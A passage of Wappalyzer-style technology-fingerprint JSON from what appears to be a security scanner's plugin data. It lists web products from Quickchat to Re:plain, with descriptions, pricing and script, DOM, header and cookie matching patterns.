[\n      \"link[href*='/quickchat-files/appquickchat/']\"\n    ],\n    \"icon\": \"QuickchatAI.svg\",\n    \"js\": {\n      \"quickchat\": \"\",\n      \"quickchat_busy\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://quickchat.ai\"\n  },\n  \"Quicklink\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"Quicklink is a JS library which aims to be a drop-in solution for sites to prefetch links based on what is in the user's viewport.\",\n    \"icon\": \"Quicklink.svg\",\n    \"js\": {\n      \"drupalSettings.quicklink\": \"\",\n      \"quicklink\": \"\"\n    },\n    \"scriptSrc\": [\n      \"quicklink@([\\\\d.]+)/dist/quicklink.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://getquick.link/\"\n  },\n  \"Quicktext\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Quicktext is an AI-powered hotel chatbot and instant communication platform designed to increase direct bookings for hotels.\",\n    \"icon\": \"Quicktext.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.quicktext\\\\.im/\"\n    ],\n    \"website\": \"https://www.quicktext.im\"\n  },\n  \"Quicq\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Quicq is an image optimisation tool by Afosto.\",\n    \"dom\": [\n      \"img[src*='.qcqcdn.com/'], img[data-src*='.qcqcdn.com/'], img[src*='cdn.quicq.io/'], img[data-src*='cdn.quicq.io/']\"\n    ],\n    \"icon\": \"Quicq.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://afosto.com/apps/quicq\"\n  },\n  \"Quill\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"Quill is a free open-source WYSIWYG editor.\",\n    \"dom\": {\n      \"div[class*='ql-editor'], div[class*='quill']\": {\n        \"exists\": \"\"\n      },\n      \"link[href*='cdn.quilljs.com/']\": {\n        \"attributes\": {\n          \"href\": \"cdn\\\\.quilljs\\\\.com/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Quill.svg\",\n    \"js\": {\n      \"Quill\": \"\"\n    },\n    \"website\": \"https://quilljs.com\"\n  },\n  \"Quintype\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"qtype-session\": \"\"\n    },\n    \"description\": \"Quintype is a digital publishing platform that provides content management, audience engagement, and monetisation solutions for digital media organisations.\",\n    \"headers\": {\n      \"link\": \"fea\\\\.assettype\\\\.com/quintype-ace\"\n    },\n    \"icon\": \"Quintype.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.quintype.com\"\n  },\n  \"Quixchat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Quixchat is a chat support widget for websites, facilitating real-time communication with visitors via WhatsApp, Facebook Messenger, Telegram, Viber, or Line.\",\n    \"icon\": \"Quixchat.svg\",\n    \"js\": {\n      \"QuixChatClearChat\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.quixchat\\\\.com/assets/js/quixchat\\\\.js\\\\?ver=(\\\\d+\\\\.\\\\d+)(?:\\\\.\\\\d+)*\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://quixchat.com\"\n  },\n  \"Qukasoft\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Qukasoft is an online solution that offers integration for your ecommerce platform with leading online marketplaces, expanding your reach to potential customers.\",\n    \"dom\": [\n      \"link[href*='cdn.qukasoft.com/']\"\n    ],\n    \"icon\": \"Qukasoft.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.qukasoft.com\"\n  },\n  \"Quoli\": {\n    \"cats\": [\n      100,\n      90\n    ],\n    \"description\": \"Quoli is a Shopify app designed to help merchants collect and showcase social proof, incorporating product reviews, photos/videos, attributes, nuggets, questions, and user-generated content (UGC).\",\n    \"icon\": \"Quoli.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quoli\\\\.io/\"\n    ],\n    \"website\": \"https://quoli.io\"\n  },\n  \"Quon\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Quon is a platform that provides control over website advertising and sales, integrating an end-to-end analytics system to optimize advertising management.\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"counter\\\\.quon\\\\.ru/\"\n    ],\n    \"website\": \"https://www.quon.ru\"\n  },\n  \"Quora Pixel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Quora Pixel is a tool that is placed in your website code to track traffic and conversions.\",\n    \"icon\": \"Quora.svg\",\n    \"js\": {\n      \"qp.qp\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.quora\\\\.com/\"\n    ],\n    \"website\": \"https://quoraadsupport.zendesk.com/hc/en-us/categories/115001573928-Pixels-Tracking\"\n  },\n  \"Quotemedia\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Quotemedia is a provider of stock market data and research solutions for online brokerages, clearing firms, banks, media portals, public companies, and financial service corporations.\",\n    \"icon\": \"QuoteMedia.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"qmod\\\\.quotemedia\\\\.com/\"\n    ],\n    \"website\": \"https://quotemedia.com\"\n  },\n  \"Qwik\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Qwik is designed for the fastest possible page load time, by delivering pure HTML with near 0 JavaScript.\",\n    \"dom\": {\n      \"*\": {\n        \"attributes\": {\n          \"q:version\": \"^([\\\\d\\\\.]+(?:-\\\\d+)?)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Qwik.svg\",\n    \"oss\": true,\n    \"website\": \"https://qwik.builder.io\"\n  },\n  \"qiankun\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"qiankun is a JS library who helps developers to build a micro frontends system.\",\n    \"dom\": {\n      \"div[id^='__qiankun_']\": {\n        \"attributes\": {\n          \"data-version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"qiankun.svg\",\n    \"oss\": true,\n    \"scripts\": [\n      \"__POWERED_BY_QIANKUN__\"\n    ],\n    \"website\": \"https://qiankun.umijs.org\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/r.json",
    "content": "{\n  \"RBS Change\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"html\": [\n      \"<html[^>]+xmlns:change=\"\n    ],\n    \"icon\": \"RBS Change.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"RBS Change\"\n    },\n    \"website\": \"https://www.rbschange.fr\"\n  },\n  \"RCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Valve.svg\",\n    \"meta\": {\n      \"generator\": \"^(?:RCMS|ReallyCMS)\"\n    },\n    \"website\": \"https://www.valve.fi\"\n  },\n  \"RD Station\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"RD Station is a platform that helps medium and small businesses manage and automate their Digital Marketing strategy.\",\n    \"icon\": \"RD Station.svg\",\n    \"js\": {\n      \"RDStation\": \"\",\n      \"RDStationTrackingCodeChecker\": \"\"\n    },\n    \"scriptSrc\": [\n      \"d335luupugsy2\\\\.cloudfront\\\\.net/js/loader-scripts/.*-loader\\\\.js\"\n    ],\n    \"website\": \"https://rdstation.com.br\"\n  },\n  \"RDoc\": {\n    \"cats\": [\n      4\n    ],\n    \"cpe\": \"cpe:2.3:a:dave_thomas:rdoc:*:*:*:*:*:*:*:*\",\n    \"description\": \"RDoc produces HTML and command-line documentation for Ruby projects.\",\n    \"html\": [\n      \"<link[^>]+href=\\\"[^\\\"]*rdoc-style\\\\.css\",\n      \"Generated by <a[^>]+href=\\\"https?://rdoc\\\\.rubyforge\\\\.org[^>]+>RDoc</a> ([\\\\d.]*\\\\d)\\\\;version:\\\\1\",\n      \"Generated by <a href=\\\"https:\\\\/\\\\/ruby\\\\.github\\\\.io\\\\/rdoc\\\\/\\\">RDoc<\\\\/a> ([\\\\d.]*\\\\d)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"RDoc.png\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"js\": {\n      \"rdoc_rel_prefix\": \"\"\n    },\n    \"website\": \"https://github.com/ruby/rdoc\"\n  },\n  \"RE:Guest\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Re:Guest is a digital room seller that helps hoteliers increase their online visibility and reach more guests.\",\n    \"icon\": \"REGuest.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reguest-hub-api\\\\.reguest\\\\.io\"\n    ],\n    \"website\": \"https://www.reguest.io\"\n  },\n  \"REC\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"REC is a customizable content management and ecommerce platform.\",\n    \"icon\": \"REC.svg\",\n    \"meta\": {\n      \"generator\": \"^REC$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.recplus.co.uk\"\n  },\n  \"REDAXO\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:redaxo:redaxo:*:*:*:*:*:*:*:*\",\n    \"description\": \"REDAXO is a content management system that provides business optimisation through web projects and output codes.\",\n    \"icon\": \"REDAXO.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"redaxo\": \"\\\\;confidence:50\"\n    },\n    \"oss\": true,\n    \"url\": [\n      \"^https?://(?:www\\\\.)?[\\\\d\\\\w\\\\-]+\\\\.[\\\\w]+/redaxo/\\\\;confidence:50\"\n    ],\n    \"website\": \"https://redaxo.org\"\n  },\n  \"REG.RU\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"REG.RU is a web hosting provider and internet domain registrar.\",\n    \"dns\": {\n      \"SOA\": \"(?:\\\\.hosting)?\\\\.reg\\\\.ru\"\n    },\n    \"icon\": \"REG.RU.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.reg.ru\"\n  },\n  \"RMZ\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"RMZ is a platform that allows users to create a store with features including payment processing, management tools, and access to statistics.\",\n    \"icon\": \"RMZ.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.rmz\\\\.gg/\"\n    ],\n    \"website\": \"https://rmz.gg\"\n  },\n  \"RND\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"rnd_csid\": \"\"\n    },\n    \"description\": \"RND is a software technology used for companies to set up ecommerce infrastructure.\",\n    \"dom\": [\n      \"div#rnd-mobile-menu, a[href*='www.rnd.com.tr/?utm_source='][target='_blank'], a[href*='www.rndecommerce.com/'] > span > svg[title*='RND']\"\n    ],\n    \"icon\": \"RND.svg\",\n    \"meta\": {\n      \"apple-mobile-web-app-title\": \"^Rnd Commerce$\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\",\n      \"New Relic\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/Scripts/plugins/rnd-mobilemenu/\"\n    ],\n    \"website\": \"https://www.rnd.com.tr/en/\"\n  },\n  \"RSS\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"RSS is a family of web feed formats used to publish frequently updated works—such as blog entries, news headlines, audio, and video—in a standardized format.\",\n    \"dom\": {\n      \"link[type*='application']\": {\n        \"attributes\": {\n          \"type\": \"application/(?:rss|atom)\\\\+xml\"\n        }\n      },\n      \"rss\": {\n        \"attributes\": {\n          \"version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"RSS.svg\",\n    \"website\": \"https://www.rssboard.org/rss-specification\"\n  },\n  \"RTB House\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"RTB House is a company that provides learning-powered retargeting solutions for brands and agencies.\",\n    \"icon\": \"RTB House.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.rtbhouse.com\",\n    \"xhr\": [\n      \"\\\\.creativecdn\\\\.com\"\n    ]\n  },\n  \"RX Web Server\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"RX-WEB\"\n    },\n    \"icon\": \"RXWeb.svg\",\n    \"website\": \"https://developers.rokitax.co.uk/projects/rxweb\"\n  },\n  \"Raaft\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Raaft is a tool designed to help SaaS companies lower customer churn and gather feedback from users who choose to cancel their subscriptions.\",\n    \"icon\": \"Raaft.svg\",\n    \"js\": {\n      \"RAAFT_APP_ID\": \"\",\n      \"raaft\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://raaft.io\"\n  },\n  \"RabbitLoader\": {\n    \"cats\": [\n      23\n    ],\n    \"description\": \"RabbitLoader is a plugin designed to enhance PageSpeed Insights Score by addressing Core Web Vitals issues including FID, LCP, & CLS.\",\n    \"dom\": [\n      \"link[href*='cfw.rabbitloader.xyz']\"\n    ],\n    \"icon\": \"RabbitLoader.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://rabbitloader.com\"\n  },\n  \"RackCache\": {\n    \"cats\": [\n      23\n    ],\n    \"description\": \"RackCache is a quick drop-in component to enable HTTP caching for Rack-based applications.\",\n    \"headers\": {\n      \"X-Rack-Cache\": \"\"\n    },\n    \"icon\": \"RackCache.png\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"website\": \"https://github.com/rtomayko/rack-cache\"\n  },\n  \"Ractive.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Ractive.js is a template-driven UI library.\",\n    \"icon\": \"Ractive.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ractive/ractive\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.ractivejs.org\"\n  },\n  \"Radancy\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Radancy is an online platform facilitating virtual hiring events and career fairs.\",\n    \"icon\": \"Radancy.svg\",\n    \"js\": {\n      \"brazenTechnologies\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.brazenconnect\\\\.com/js\"\n    ],\n    \"website\": \"https://www.radancy.com\"\n  },\n  \"Radix UI\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--radix-accordion-content-height\",\n      \"--radix-toast-swipe-end-x\",\n      \"--radix-toast-swipe-move-x\",\n      \"--radix-navigation-menu-viewport-width\",\n      \"--radix-navigation-menu-viewport-height\",\n      \"--radix-select-trigger-width\",\n      \"--radix-select-trigger-height\",\n      \"--radix-context-menu-content-transform-origin\",\n      \"--radix-context-menu-content-available-height\",\n      \"--radix-dropdown-menu-content-available-height\",\n      \"--radix-dropdown-menu-content-transform-origin\",\n      \"--radix-hover-card-content-transform-origin\",\n      \"--radix-popover-trigger-width\",\n      \"--radix-popover-content-transform-origin\",\n      \"--radix-select-trigger-width\",\n      \"--radix-select-content-available-height\",\n      \"--radix-select-content-transform-origin\",\n      \"--radix-tooltip-content-transform-origin\"\n    ],\n    \"description\": \"Radix UI is a React-based user interface component library that offers accessible, responsive, and customisable components for building web applications.\",\n    \"dom\": [\n      \"a[data-radix-collection-item], button[data-radix-collection-item]\"\n    ],\n    \"icon\": \"Radix UI.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"React\"\n    ],\n    \"website\": \"https://www.radix-ui.com\"\n  },\n  \"Railway\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Railway is a cloud platform that simplifies building, deploying, and managing applications with easy setup and scalable infrastructure.\",\n    \"headers\": {\n      \"Server\": \"^railway$\"\n    },\n    \"icon\": \"Railway.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://railway.app\"\n  },\n  \"Rain\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Rain is a cloud-based point of sale (POS) system for small to midsized retailers.\",\n    \"icon\": \"Rain.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rainpos\\\\.com/\"\n    ],\n    \"website\": \"https://www.rainpos.com\"\n  },\n  \"RainLoop\": {\n    \"cats\": [\n      30\n    ],\n    \"description\": \"RainLoop is a web-based email client.\",\n    \"headers\": {\n      \"Server\": \"^RainLoop\"\n    },\n    \"html\": [\n      \"<link[^>]href=\\\"rainloop/v/([0-9.]+)/static/apple-touch-icon\\\\.png/>\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"RainLoop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"rainloop\": \"\",\n      \"rainloopI18N\": \"\"\n    },\n    \"meta\": {\n      \"rlAppVersion\": \"^([0-9.]+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"^rainloop/v/([0-9.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.rainloop.net/\"\n  },\n  \"RaiseDonors\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"RaiseDonors is for anyone raising money and cultivating donor relationships online.\",\n    \"dom\": [\n      \"a[href*='//raisedonors.com/'][target='_blank']\"\n    ],\n    \"icon\": \"RaiseDonors.svg\",\n    \"meta\": {\n      \"author\": \"^RaiseDonors$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://explore.raisedonors.com\"\n  },\n  \"Raisely\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Raisely is a cloud-based fundraising platform that helps non-profits and charities drive fundraising campaigns and collect donations.\",\n    \"icon\": \"Raisely.svg\",\n    \"js\": {\n      \"RaiselyComponents\": \"\",\n      \"__raiselyDebug\": \"\",\n      \"wpRaisely\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://raisely.com\"\n  },\n  \"Raku-uru Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Raku-uru Cart is an all-in-one ecommerce platform from Japan.\",\n    \"icon\": \"Raku-uru Cart.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.raku-uru\\\\.jp/cms\"\n    ],\n    \"website\": \"https://business.kuronekoyamato.co.jp/raku-uru/\"\n  },\n  \"Rakuten\": {\n    \"cats\": [\n      71\n    ],\n    \"cookies\": {\n      \"rakuten-source\": \"\"\n    },\n    \"description\": \"Rakuten (formerly Ebates) allows you to earn cash-back rewards.\",\n    \"icon\": \"Rakuten.svg\",\n    \"js\": {\n      \"rakutenRanMID\": \"\",\n      \"rakutenSource\": \"\"\n    },\n    \"scriptSrc\": [\n      \"tag\\\\.rmp\\\\.rakuten\\\\.com\",\n      \"\\\\.linksynergy\\\\.com\"\n    ],\n    \"website\": \"https://www.rakuten.com/\"\n  },\n  \"Rakuten Advertising\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Rakuten Advertising.svg\",\n    \"scriptSrc\": [\n      \"tag\\\\.rmp\\\\.rakuten\\\\.com\"\n    ],\n    \"website\": \"https://rakutenadvertising.com/\"\n  },\n  \"Rakuten Digital Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"RakutenDigitalCommerce.png\",\n    \"js\": {\n      \"RakutenApplication\": \"\"\n    },\n    \"website\": \"https://digitalcommerce.rakuten.com.br\"\n  },\n  \"Ramda\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Ramda is a practical functional programming library for JavaScript that emphasizes immutability, currying, and function composition to facilitate writing more declarative and modular code.\",\n    \"icon\": \"Ramda.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"ramda.*\\\\.js\"\n    ],\n    \"website\": \"https://ramdajs.com\"\n  },\n  \"Ramper\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Ramper is a B2B marketing and sales platform designed to streamline business operations.\",\n    \"icon\": \"Ramper.svg\",\n    \"js\": {\n      \"LaharApp.criacao_elementos\": \"\",\n      \"PopupLahar.create\": \"\",\n      \"SourceLahar.init\": \"\",\n      \"TrackingLahar.create\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://ramper.com.br\"\n  },\n  \"RankMath SEO\": {\n    \"cats\": [\n      87,\n      54\n    ],\n    \"description\": \"RankMath SEO is a search engine optimisation plugin for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/seo-by-rank-math/'], script.rank-math-schema-pro, script.rank-math-schema\"\n    ],\n    \"icon\": \"RankMath SEO.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/seo-by-rank-math(?:-pro)?/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://rankmath.com\"\n  },\n  \"Raphael\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Raphael is a cross-browser JavaScript library that draws Vector graphics for websites.\",\n    \"icon\": \"Raphael.svg\",\n    \"js\": {\n      \"Raphael.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"raphael(?:-([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dmitrybaranovskiy.github.io/raphael/\"\n  },\n  \"RapidSec\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"RapidSec offers automated client-side security and monitoring.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.rapidsec\\\\.net\",\n      \"Content-Security-Policy-Report-Only\": \"\\\\.rapidsec\\\\.net\",\n      \"report-to\": \"\\\\.rapidsec\\\\.net\"\n    },\n    \"icon\": \"RapidSec.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://rapidsec.com\"\n  },\n  \"RapidSpike\": {\n    \"cats\": [\n      13,\n      78\n    ],\n    \"description\": \"RapidSpike is an uptime and performance monitoring service for web sites and applications.\",\n    \"icon\": \"RapidSpike.svg\",\n    \"js\": {\n      \"rspike_timing\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rapidspike\\\\.com/\"\n    ],\n    \"website\": \"https://www.rapidspike.com\"\n  },\n  \"Raptive\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Raptive is a company formed from the merger of CafeMedia, AdThrive, and CafeMedia Ad Management, focusing on supporting digital creators and publishers​.\",\n    \"icon\": \"Raptive.svg\",\n    \"js\": {\n      \"adthrive\": \"\",\n      \"adthriveVideosInjected\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ads\\\\.adthrive\\\\.com\"\n    ],\n    \"website\": \"https://raptive.com\"\n  },\n  \"Raptor\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Raptor is a personalisation engine based on machine learning that analyses and learns about the user's behavior and unique browser history.\",\n    \"icon\": \"Raptor.svg\",\n    \"js\": {\n      \"Raptor\": \"\",\n      \"onRaptorLoaded\": \"\",\n      \"raptorBase64\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.raptorsmartadvisor\\\\.com\",\n      \"msecnd\\\\.net/script/raptor-([\\\\d.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://raptorsmartadvisor.com\"\n  },\n  \"Rasayel\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Rasayel is a customer communication platform that helps businesses sell to and support their customers over WhatsApp and other social messaging channels.\",\n    \"icon\": \"Rasayel.svg\",\n    \"js\": {\n      \"RasayelOmniWidget\": \"\",\n      \"RasayelWabaWidget\": \"\",\n      \"RasayelWhatsAppWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.rasayel.io\"\n  },\n  \"Raspbian\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"Raspbian is a free operating system for the Raspberry Pi hardware.\",\n    \"headers\": {\n      \"Server\": \"Raspbian\",\n      \"X-Powered-By\": \"Raspbian\"\n    },\n    \"icon\": \"Raspbian.svg\",\n    \"website\": \"https://www.raspbian.org/\"\n  },\n  \"RateParity\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"RateParity is a conversion rate optimisation platform for hotels.\",\n    \"icon\": \"RateParity.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"code\\\\.rateparity\\\\.com/\"\n    ],\n    \"website\": \"https://www.rateparity.com\"\n  },\n  \"Ratesight\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Ratesight is an online review management software that helps businesses collect and track online reviews.\",\n    \"dom\": [\n      \"script#ratesight-sidebar-widget\"\n    ],\n    \"icon\": \"RateSight.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ratesight\\\\.com/\"\n    ],\n    \"website\": \"https://ratesight.com\"\n  },\n  \"Rawabit\": {\n    \"cats\": [\n      51\n    ],\n    \"cookies\": {\n      \"rawabit_session\": \"\"\n    },\n    \"description\": \"Rawabit is a website builder that lets small businesses design landing pages, modify sections, and embed content links using a drag and drop editor.\",\n    \"icon\": \"Rawabit.svg\",\n    \"meta\": {\n      \"powered-by\": \"^Rawabit$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.rawabit.me\"\n  },\n  \"Raychat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Raychat is a free customer messaging platform.\",\n    \"icon\": \"raychat.svg\",\n    \"js\": {\n      \"Raychat\": \"\"\n    },\n    \"scriptSrc\": [\n      \"app\\\\.raychat\\\\.io/scripts/js\"\n    ],\n    \"website\": \"https://raychat.io\"\n  },\n  \"Raygun\": {\n    \"cats\": [\n      78,\n      13\n    ],\n    \"description\": \"Raygun is a cloud-based networking monitoring and bug tracking application.\",\n    \"icon\": \"Raygun.svg\",\n    \"js\": {\n      \"Raygun\": \"\",\n      \"raygunEnabled\": \"\",\n      \"raygunFactory\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.raygun\\\\.io\"\n    ],\n    \"website\": \"https://raygun.com\"\n  },\n  \"Rayo\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Rayo.png\",\n    \"implies\": [\n      \"AngularJS\",\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"Rayo\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Rayo\"\n    },\n    \"website\": \"https://www.rayo.ir\"\n  },\n  \"Razorpay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Razorpay is a provider of an online payment gateway that allows businesses to accept, process, and disburse payments.\",\n    \"icon\": \"Razorpay.svg\",\n    \"js\": {\n      \"Razorpay\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"checkout\\\\.razorpay\\\\.com\"\n    ],\n    \"website\": \"https://razorpay.com/\"\n  },\n  \"Re:amaze\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Re:amaze is a multi-brand customer service, live chat, and help desk solution.\",\n    \"icon\": \"Re-amaze.svg\",\n    \"js\": {\n      \"reamaze.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reamaze\\\\.com/\"\n    ],\n    \"website\": \"https://www.reamaze.com\"\n  },\n  \"Re:plain\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Re:plain is a live chat integration for WhatsApp, Facebook Messenger, and Telegram, allowing you to connect live chat to your website.\",\n    \"icon\": \"Replain.svg\",\n    \"js\": {\n      \"replainInitialized\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      